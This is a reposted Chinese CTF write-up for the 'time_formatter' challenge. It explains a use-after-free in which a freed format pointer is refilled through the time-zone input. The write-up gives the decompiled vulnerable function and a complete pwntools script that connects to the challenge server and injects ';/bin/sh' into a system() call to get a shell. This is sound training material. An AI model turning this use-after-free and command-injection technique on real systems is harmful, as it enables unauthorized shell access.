time_formatter

2021-09-21 15:04:24 阅读：152 来源： 互联网

标签：__ format sendline io time recvuntil formatter

题目描述：将UNIX时间转换为日期是很困难的，所以玛丽编写了一个工具来完成这个任务。

程序存在UAF漏洞，当选择exit然后不退出时，程序仅仅free掉了两个指针，但没有置空

strdup也会调用malloc来为新字符串提供空间

因此考虑将

__int64 __fastcall print_your_time()
{
  char command[2048]; // [rsp+8h] [rbp-810h] BYREF
  unsigned __int64 canary; // [rsp+808h] [rbp-10h]

  canary = __readfsqword(0x28u);
  if ( format_ptr )
  {
    __snprintf_chk(command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", (unsigned int)unix_time, format_ptr);
    __printf_chk(1LL, "Your formatted time is: ");
    fflush(stdout);
    if ( getenv("DEBUG") )
      __fprintf_chk(stderr, 1LL, "Running command: %s\n", command);
    setenv("TZ", time_zone_ptr, 1);
    system(command);
  }
  else
  {
    puts("You haven't specified a format!");
  }
  return 0LL;
}

这里面的format_ptr修改为我们想要的内容，从而执行system(/bin/sh)

为此需要封闭前后引号，同时在前面加上分号

注意到直接输入format时会进行过滤，因此考虑将其free之后再调用set_time_zone输入

exp如下：

from pwn import *

#io = process('./time_formatter')
io = remote('111.200.241.244', 63456)

io.recvuntil('> ')
io.sendline('1')
io.recvuntil('Format: ')
io.sendline('a' * 10)

io.recvuntil('> ')
io.sendline('5')
io.recvuntil('Are you sure you want to exit (y/N)? ')
io.sendline('N')

io.recvuntil('> ')
io.sendline('3')
io.recvuntil('Time zone: ')
io.sendline("';/bin/sh'")

io.recvuntil('> ')
io.sendline('4')

io.interactive()

标签：__,format,sendline,io,time,recvuntil,formatter
来源： https://www.cnblogs.com/hktk1643/p/15316599.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9

time_formatter